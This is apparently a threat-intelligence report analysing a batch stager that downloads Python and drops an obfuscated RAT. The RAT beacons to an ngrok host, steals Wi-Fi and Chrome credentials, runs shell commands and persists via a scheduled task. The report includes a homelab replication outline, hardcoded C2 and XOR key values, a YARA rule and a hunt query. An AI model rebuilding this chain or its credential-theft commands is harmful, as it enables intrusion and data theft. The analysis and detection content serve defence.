028301d695ca8918d856cacd951ae7fa54c6a9ab77edf975e1259fa243cc5b71unclassified-python-ngrok-rat: 028301d6 — Batch stager fetching Python embed, dropping zlib+XOR-obfuscated Python RAT
Executive Summary
A Windows batch script masquerading as a "System Update Service Initializer" downloads the Python 3.10.11 embeddable runtime from python.org via curl, extracts it to %TEMP%\win_kb_update, decodes an embedded base64+zlib+XOR-obfuscated Python script, and launches it as a daemon thread. The inner payload is a TCP socket RAT beaconing to 0.tcp.in.ngrok.io:13811 with ~15 commands including screenshot, WiFi credential theft, Chrome DPAPI master-key extraction, cookie/password exfiltration, remote shell, schtasks persistence, and BSOD trigger. 18 KB total — low-skill, high-capability commodity malware likely built from open-source RAT tutorials.
What It Is
- File:
Update.bat^[file.txt] ^[exiftool.json] - Size: 18,385 bytes
- Type: DOS batch file, ASCII text (Unix LF newlines) ^[file.txt]
- Family: Unattributed — no matching cluster in corpus. Low-confidence label:
unclassified-python-ngrok-rat. - Build: Hand-written batch + hand-written Python. No packer, no compiler, no signing. Obfuscation is manual base64 line-splitting + zlib compression + single-byte XOR with a 16-character key (
gKw6tnluBXn4m7Gt). ^[strings.txt:167–186] ^[decoded_payload.py:1]
How It Works
Stage 1 — Batch Stager
The batch script (@echo off) sets three variables: Z = %TEMP%, K = %Z%\win_kb_update, L = %Z%\ldr_663.py. ^[strings.txt:2–5]
If %K%\python.exe does not exist, it:
- Creates
%K% - Downloads
https://www.python.org/ftp/python/3.10.11/python-3.10.11-embed-win32.zipviacurl -L -s -k -o^[strings.txt:9] - Extracts with
tar -xf(Windows 11 / modern tar) - Deletes the zip
- Clears temp debris (
b64.tmp,ldr_663.py) ^[strings.txt:16–17]
Then it writes 169 echo lines appending base64 chunks to %TEMP%\b64.tmp, decodes with certutil -decode to %L%, and spawns %K%\python.exe "%L%" in background (start "" /B). ^[strings.txt:187–193]
Stage 2 — Outer Python Loader
The decoded %L% file is a ~10 KB Python loader (SystemConfigurationLoader) that:
- Concatenates three base64 strings (
ASSET_CHUNKS) ^[decoded_payload.py:5–9] - Base64-decodes the concatenation
- zlib-decompresses the result
- XOR-decrypts with
CONFIG_HASH = "gKw6tnluBXn4m7Gt"(same key as the batch-level obfuscation) exec()s the resulting script inglobals()^[decoded_payload.py:27–31]
The loader runs in a daemon thread with a heartbeat loop that restarts the worker if it dies. ^[decoded_payload.py:40–48]
Stage 3 — Inner Python RAT
The final payload is a ~12.7 KB Python RAT with a hardcoded C2: ^[decoded_payload.py:6–8]
HOST = '0.tcp.in.ngrok.io'
PORT = 13811
key = "14"
On connect it sends [CONNECTED] 14 plus an [INTEL] block with platform, hostname, OS release, version, machine, processor, logged-in user, and public IP from ip-api.com. ^[decoded_payload.py:27–35]
Supported commands (verbatim from payload):
screenshot— PowerShell SendKeys PrtSc + Clipboard JPEG → base64 viasubprocess.check_output^[decoded_payload.py:41–44]wifi—netsh wlan show profiles+key=clearfor each SSID ^[decoded_payload.py:46–56]intel— Re-sends system enumeration block ^[decoded_payload.py:58–65]persist—schtasks /create /tn "SystemUpdate" /tr <script_path> /sc onlogon /rl highest /f^[decoded_payload.py:67–71]bsod—RtlAdjustPrivilege(19, 1, 0, ...)+NtRaiseHardError(0xC000007B, ...)^[decoded_payload.py:73–77]whatsapp— Zips Chrome Local Storageleveldbdirectory and sends base64 ^[decoded_payload.py:79–103]webcam— Callsavicap32.capCreateCaptureWindowA; no actual frame capture logic (stub) ^[decoded_payload.py:105–114]keylog_start— No-op stub ^[decoded_payload.py:116–119]master_key— Chrome DPAPI decryption ofLocal Stateos_crypt.encrypted_keyviaCryptUnprotectData^[decoded_payload.py:120–143]passwords— CopiesLogin DataSQLite to TEMP and sends raw bytes ^[decoded_payload.py:145–155]cookies— CopiesNetwork\CookiesSQLite to TEMP and sends raw bytes ^[decoded_payload.py:157–167]cmd <string>—subprocess.Popen(cmd_str, shell=True, ...)withcmd.exefallback ^[decoded_payload.py:169–190]ls [path]/cd [path]/pwd/dir— Directory/file enumeration ^[decoded_payload.py:192–220]
The payload imports cv2 and numpy opportunistically but never uses them (likely copy-paste from a tutorial). ^[decoded_payload.py:11–15]
C2 Infrastructure
| Indicator | Value | Notes |
|---|---|---|
| C2 host | 0.tcp.in.ngrok.io |
ngrok free-tier TCP tunnel; ephemeral — useful for tracking actor registration habits but not long-lived IOC |
| C2 port | 13811 |
Hardcoded in inner payload ^[decoded_payload.py:7] |
| Session key | 14 |
Hardcoded beacon prefix ^[decoded_payload.py:8] |
| IP lookup | http://ip-api.com/line/?fields=query |
Public IP for victim identification ^[decoded_payload.py:32] |
| Python source | https://www.python.org/ftp/python/3.10.11/python-3.10.11-embed-win32.zip |
Legitimate Python.org download; abuse of open-source infrastructure ^[strings.txt:9] |
Interesting Tidbits
- No anti-analysis whatsoever. No VM checks, no debug checks, no timing gates, no process enumeration. Relies entirely on being a batch file that sandboxes may skip. ^[strings.txt:1–193]
- Duplicate key reuse. The same 16-byte string
gKw6tnluBXn4m7Gtserves as both the batch-levelCONFIG_HASHand the inner payload XOR key. Amateur opsec. ^[strings.txt:167] ^[decoded_payload.py:11] - Error-mode suppression.
_init_env()callsctypes.windll.kernel32.SetErrorMode(0x8003)(SEM_FAILCRITICALERRORS | SEM_NOGPFAULTERRORBOX | SEM_NOOPENFILEERRORBOX), hiding crashes from the user. ^[decoded_payload.py:17–19] - Comment masquerade. Outer Python loader claims to be "Asset Manager for Internal Physics System" — meaningless dead text to confuse static readers. ^[decoded_payload.py:4]
- cv2/numpy dead imports. The
import cv2andimport numpylines are present but never referenced. Likely residue from a tutorial or builder template that included webcam streaming. ^[decoded_payload.py:11–15] - AVICAP32 stub. The
webcamcommand creates a capture window but has no frame-grab or transmission logic. The comment admits: "Full stream logic requires complex struct marshaling, simplified response for FUD." ^[decoded_payload.py:105–114] - Batch line count. 169 echo lines at ~80 chars each = 13,504 bytes of base64, encoding ~10,128 bytes of compressed payload. The batch is 18,385 bytes total; the payload is ~55% of the file.
- Windows version compatibility. Uses
tar -xf(available in Windows 10 17063+ and Windows 11) rather thanexpandorpowershell Expand-Archive, suggesting author targets modern Windows but doesn't know PowerShell.
How To Mess With It (Homelab Replication)
Toolchain
- Any text editor + Windows 10/11 host with
curl.exeandtar.exe - Python 3.10+ (target host)
- Optional: ngrok account for C2 tunnel
Working reproduction
- Write a batch file that downloads
python-3.10.11-embed-win32.zip, extracts to%TEMP%\win_kb_update. - Embed a Python script as base64 lines (one per
echo), decode withcertutil. - The Python script should be a zlib-compressed + XOR-encrypted blob wrapped in a loader.
- Inner payload: TCP socket loop to
0.tcp.in.ngrok.io:<port>,s.send("[CONNECTED] <key>"), then a dispatch table.
Verification
Run the batch on a Windows VM. Monitor with ProcMon for curl.exe → python.exe child process. Network capture should show TCP SYN to 0.tcp.in.ngrok.io:13811. No capa verification possible — capa rejected the input as unsupported. ^[capa.txt]
What you'll learn
This demonstrates how a trivial batch script + legitimate Python runtime can bypass AV that focuses on PE signatures. The lesson is behavioral: watch for curl.exe → python.exe chains from %TEMP% and TCP sockets spawned by python.exe in user-writable directories.
Deployable Signatures
YARA Rule
rule Python_Ngrok_RAT_Batch_Stager
{
meta:
description = "Batch script stager downloading Python embed and dropping ngrok-beaconing RAT"
author = "PacketPursuit"
date = "2026-06-14"
hash = "028301d695ca8918d856cacd951ae7fa54c6a9ab77edf975e1259fa243cc5b71"
strings:
$batch1 = "@echo off" ascii
$batch2 = "curl -L -s -k -o" ascii
$batch3 = "python-3.10.11-embed-win32.zip" ascii
$batch4 = "certutil -decode" ascii
$py1 = "SystemConfigurationLoader" ascii
$py2 = "load_update_package" ascii
$py3 = "ASSET_CHUNKS" ascii
$py4 = "0.tcp.in.ngrok.io" ascii
$py5 = "[CONNECTED]" ascii
$py6 = "ip-api.com/line/?fields=query" ascii
$py7 = "RtlAdjustPrivilege" ascii
$py8 = "NtRaiseHardError" ascii
$xor_key = "gKw6tnluBXn4m7Gt" ascii
condition:
(uint16(0) == 0x6540 or uint16(0) == 0x4065 or uint16(0) == 0x0a40) // @e or @n or \n@
and 2 of ($batch*)
and 2 of ($py*)
and filesize < 30KB
}
Behavioral Hunt Query (Sigma-like)
title: Python Embed Downloaded by Batch Followed by TCP Socket
detection:
selection_curl:
- Image|endswith: 'curl.exe'
- CommandLine|contains: 'python-3.10.11-embed-win32.zip'
selection_python:
- Image|endswith: 'python.exe'
- ParentImage|endswith: 'cmd.exe'
selection_network:
- Initiated: true
- Image|endswith: 'python.exe'
- DestinationPort: 13811
condition: selection_curl or (selection_python and selection_network)
IOC List
| Type | Value |
|---|---|
| SHA-256 | 028301d695ca8918d856cacd951ae7fa54c6a9ab77edf975e1259fa243cc5b71 |
| Filename | Update.bat |
| Staging dir | %TEMP%\win_kb_update |
| Dropped script | %TEMP%\ldr_663.py |
| Temp file | %TEMP%\b64.tmp |
| C2 host | 0.tcp.in.ngrok.io |
| C2 port | 13811 |
| Session key | 14 |
| XOR key | gKw6tnluBXn4m7Gt |
| SchTasks name | SystemUpdate |
| Python URL | https://www.python.org/ftp/python/3.10.11/python-3.10.11-embed-win32.zip |
| IP lookup | http://ip-api.com/line/?fields=query |
Behavioral Fingerprint
On execution, this artifact spawns curl.exe to download the Python 3.10.11 embeddable zip from python.org to %TEMP%, extracts it with tar.exe into %TEMP%\win_kb_update, then uses certutil.exe to base64-decode a 169-line payload from a batch file into %TEMP%\ldr_663.py. The resulting python.exe process immediately opens a TCP socket to 0.tcp.in.ngrok.io:13811, sends a [CONNECTED] 14 beacon, followed by an [INTEL] block containing system enumeration data fetched from ip-api.com. Network traffic is cleartext TCP with no TLS. Detection opportunity: python.exe spawned from cmd.exe with a command line referencing %TEMP%\ldr_663.py and an immediate outbound connection to an ngrok subdomain on a high ephemeral port.
Detection Signatures
- MITRE ATT&CK mapping (inferred from static payload; no CAPE detonation):
- T1059.003 — Windows Command Shell (batch execution)
- T1059.006 — Python (inner payload)
- T1071.001 — Application Layer Protocol: Web Protocols (ip-api.com HTTP lookup)
- T1041 — Exfiltration Over C2 Channel (TCP socket exfil)
- T1048.003 — Exfiltration Over Alternative Protocol (TCP socket, non-standard port)
- T1083 — File and Directory Discovery (
ls,dir,cd) - T1082 — System Information Discovery (
intelcommand — platform, hostname, processor) - T1049 — System Network Connections Discovery (
wificommand — netsh profiles) - T1005 — Data from Local System (Login Data, Cookies, WhatsApp local storage)
- T1555.003 — Credentials from Web Browsers (Chrome DPAPI master key, Login Data SQLite)
- T1552.004 — Private Keys (DPAPI
CryptUnprotectDataonos_crypt.encrypted_key) - T1056.001 — Input Capture: Keylogging (stub —
keylog_startis no-op) - T1113 — Screen Capture (PowerShell SendKeys + Clipboard JPEG)
- T1125 — Video Capture (AVICAP32 stub)
- T1547.001 — Registry Run Keys / Startup Folder (schtasks onlogon persistence)
- T1053.005 — Scheduled Task/Job: Scheduled Task (same schtasks mechanism)
- T1490 — Inhibit System Recovery (BSOD via
NtRaiseHardError) - T1567.002 — Exfiltration Over Web Service (WhatsApp session zip via socket)
No dynamic execution was performed (CAPE skipped: not a supported binary class). ^[dynamic-analysis.md] All TTPs are inferred from static string and decompiled payload analysis.
References
- SHA-256:
028301d695ca8918d856cacd951ae7fa54c6a9ab77edf975e1259fa243cc5b71 - Original filename:
Update.bat^[metadata.json] - Artifact ID:
479360c9-9766-4895-850a-e46fc6f2bc95^[metadata.json] - Source: OpenCTI / MalwareBazaar ^[metadata.json]
- Related entity: unclassified-python-ngrok-rat
- Related concept: python-packed-payload
- Related procedure: schtasks-onlogon-persistence
Provenance
Analysis built from:
file.txt,exiftool.json,metadata.json,triage.json— file metadatastrings.txt— full batch script content (line-level citations)decoded_payload.py— manually decoded outer Python loader + inner RAT payload (decoded from base64+zlib+XOR chain embedded instrings.txt)dynamic-analysis.md— CAPE skipped statuscapa.txt— capa rejected unsupported file format
decoded_payload.py was produced by reversing the base64→zlib→XOR chain described in the batch script's SystemConfigurationLoader.load_update_package() method. The decoding steps exactly mirror the runtime logic: concatenate ASSET_CHUNKS strings, base64-decode, zlib-decompress, then byte-wise XOR with key gKw6tnluBXn4m7Gt.